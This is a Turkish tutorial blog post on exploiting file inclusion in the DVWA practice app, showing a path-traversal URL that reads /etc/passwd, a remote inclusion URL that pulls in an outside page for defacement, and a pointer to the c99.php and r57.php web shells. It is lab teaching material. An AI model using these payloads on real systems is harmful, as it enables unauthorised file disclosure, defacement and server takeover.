Ders 8 - File Inclusion (Low Level)
Bu yazıda DVWA adlı web uygulamasının içerisinde bulunan bir sayfanın güvenlik zafiyetinden faydalanarak File Inclusion saldırısında bulunulacaktır.

Dersin Hedefi

Hedef sunucunun hassas verilerini hedef sunucunun web sitesi üzerinden oku.

File Inclusion Nedir?

File Inclusion, yani dosya dahil etme saldırısı saldırganın hedef web sitesine bir dosya dahil etmesine ya da hedef web sitesinin kendinde olan ama sunmadığı bir dosyayı görüntüleyebilmesine denir.

File Inclusion açıklığını kullanan iki tür saldırı vardır: Bunlardan birincisi Local File Inclusion diye adlandırılmaktadır, ikincisi ise Remote File Inclusion diye adlandırılmaktadır. Local File Inclusion saldırısı hedef sitenin barındığı sunucudaki ziyaretçilere sunulmamış dosyanın hedef site üzerinden görüntülenebilmesine denir. Remote File Inclusion saldırısı ise hedef siteye saldırganın kendi dosyasını (mesela shell dosyasını) görüntületmesine denir.

File Inclusion Nasıl Yapılır?

Bu başlık iki ayrı alt başlıkla devam edecektir: Local File Inclusion ve Remote File Inclusion diye. Fakat önce DVWA'nın bize sunduğu sayfayı bir inceleyelim. Öncelikle DVWA'nın File Inclusion sayfasına geçiş yapın:





Ardından tarayıcınızın adres çubuğunda görüntülenen bulunduğunuz sayfanın linkine bakın:

http://localhost/dvwa/vulnerabilities/fi/?page=include.php

? işareti parametrelerin sıralanacağı kısmın başını ifade eder. = işareti parametreye değer atanacağını ifade eder. Yukarıdaki linkte bir tane parameter ve bir de onun değeri mevcuttur. Bu parametrenin ismi page, yani sayfadır. Değeri ise bir dosya ismidir.

Şimdi ekranın sunduğu [file1.php], [file2.php] ve [file3.php] linklerine sırayla tıklayalım ve linkteki değişimi ve içerikteki değişimi gözlemleyelim:



[file1.php] 'e tıklandığında:





[file2.php] 'ye tıklandığında:





[file3.php] 'e tıklandığında:





Görüldüğü üzere page parametresi sırayla değişik 3 tane dosya ismi almaktadır ve aldığı değerlere göre içerik değiştirmektedir. Yani linkteki page parametresi içerik olarak yansıtılacak php dosyasını belirleyen bir dosya seçici olarak kullanılıyor. Bu seçim sonucunda mevcut sayfanın barındığı

http://localhost/dvwa/vulnerabilities/fi/

dizinindeki bir dosya index.php’ye, yani hal-i hazırda görüntülüyor olduğumuz File Inclusion sayfasına dahil ediliyor. Bu mekanizmaya File Inclusion, yani Dosya Dahil Etme denmektedir. Bu gözlemler sonrası şimdi saldırı aşamasına geçelim.

Local File Inclusion
Yukarıda bahsedilen File Inclusion mekanizması üzerinden acaba Local File Inclusion saldırısı gerçekleştirebilir miyiz? Yani mesela linux sunucularında tutulan /etc dizini altındaki passwd gibi hassas bir dosyanın içeriğini sitenin linkindeki parametre değerini oynayarak sayfaya seçtirtip ekrana yansıtabilir miyiz? Eğer güvenlik önlemi alınmamışsa cevap evet.

Madem URL'nin parametresi sunucuda bulunan dosyaların isimlerini alıyor ve buna göre ilgili dosyanın içeriğini ekrana yansıtıyor. O zaman bunu sunucuda kullanıcı adlarının ve detaylarının tutulduğu dosyayı ekrana yansıtmak maksadıyla kullanmayı deneyelim. Bulunduğumuz dizin şudur (Linux üzerinde DVWA'yı çalıştırıyor olduğunuz varsayıldı):

/var/www/dvwa/vulnerabilities/fi/

Yukarıdaki dizin şu an görüntülüyor olduğumuz sayfanın dizinidir. Bizim hedefimiz /etc dizinindeki passwd dosyasına ulaşmaktır. Çıkmamız ve dallanmamız gereken yolları daha iyi kavrayabilmeniz için linux sistemlerin dosya hiyerarşisine bakalım.





Görüldüğü üzere Linux’ta etc klasörü var klasörünün bulunduğu dizindedir (havuzdadır). Dolayısıyla bizim bulunduğumuz

/var/www/dvwa/vulnerabilities/fi/

dizininden var klasörüne geçebilmemiz için birkaç kez üst dizine çıkmamız gerekir. Yani var klasörüne varana kadar üst dizine çıkmalıyız:

fi                         ../
vulnerabilities            ../
dvwa                       ../
www                        ../
var                        ../


Böylece anlarız ki 5 tane ../ komutundan kullanırsak var’ın yer aldığı havuza, yani kök dizine ulaşırız. Eğer görüntülüyor olduğunuz sayfanın linkindeki page parametresine değer olarak

../../../../../

eklersek fi klasörünün içinden çıkıp taaa var klasörünün yer aldığı klasör havuzuna erişiriz. Sıradaki işlem var klasörünün sibling’I (kardeşi) olan etc klasörüne dallanmaktır. Bunun için /etc/ dizini eklenir ve sonrasında etc klasörü içerisinde barınan dosyanın ismi eklenir:

../../../../../etc/passwd

Böylece

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd

linkini enter'ladığımızda ekrana kullanıcı adı, kullanıcıların ait oldukları gruplar gibi bilgiler, yani passwd dosyasının içeriği yansıtılır. Aşağıda nasıl göründüğünü görebilirsiniz.





Böylece Local File Inclusion saldırısını gerçekleştirmiş olduk. Edinilen kullanıcı adları bir Brute Force saldırısında kullanılabilir ve böylelikle hedef web sitesinin sunucusuna sızılabilir.

Local File Inclusion (LFI) açığı ile başka kritik dosyalar da okunabilir. Mesela log dosyaları: access.log , error.log gibi. İş tamamen hedef sistemin klasör yapısını bilmeye bakıyor. Klasör yapısını ezberlemeye çalışmayın. Gerçi bu tip şeylerle meşgul oldukça bu ezber kendiliğinden geliyor ama en basitinden bilgisayarınızda bir linux sistemi açıp dilediğiniz kritik dosyayı sisteme CTRL+F ile arattırabilirsiniz. Böylece bulduğunuz dizini bu dersin URL’sindeki parametreye değer olarak koyup seçtiğiniz dosyanın içeriğini ekrana yansıttırabilirsiniz.

Remote File Inclusion (RFI)
RFI saldırısı tıpkı LFI saldırısının kullandığı güvenlik zafiyeti olan File Inclusion açığından faydalanır. İşleyiş aynıdır. Fakat bu sefer ekrana dahil edilecek sayfa hedef sitenin sunucusunda yer alan dosya değil de harici bir dosya olacaktır.

Diyelim ki dahil edilecek harici dosyanın içerisinde şunlar var:








Hacked By Falan Filan










Bu dosyanın yer aldığı web sitesinin linki page parametresinin sonuna eklenir:

http://localhost/dvwa/vulnerabilities/fi/?page=http://www.birsiteadi.com/dosya.html

page parametresi LFI saldırısında hedef web sitesinin sunucularında barınan bir dosyanın dizin adresini alıyorken bu sefer harici bir link almıştır. Bu saldırı kodu tarayıcının adres çubuğuna girilip ENTER'landığında ekrana harici dosyanın içeriği yansıyacak ve sayfa hack'lendi süsü verilmiş olacaktır:





NOT: RFI saldırısı ile eğer shell dosyası dahil edebilirseniz bu durumda gerçekten sayfayı ve hatta komple sunucuyu hack'leyebilirsiniz. Burada shell dosyalarının dahil edilmesinden bahsedilmemiştir. Çünkü shell dosyaları her nedense makinemde arzulanan şekilde çalışmamıştır. Denemek isteyenler php dünyasında yer etmiş c99.php ve r57.php shell dosyalarını kurcalayabilirler.

Yararlanılan Kaynak

https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
Bu yazı 16.01.2016 tarihinde, saat 18:43:46'de yazılmıştır. 20.03.2016 tarihi ve 05:36:48 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 1746
Yorumlar
Henüz yorum girilmemiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :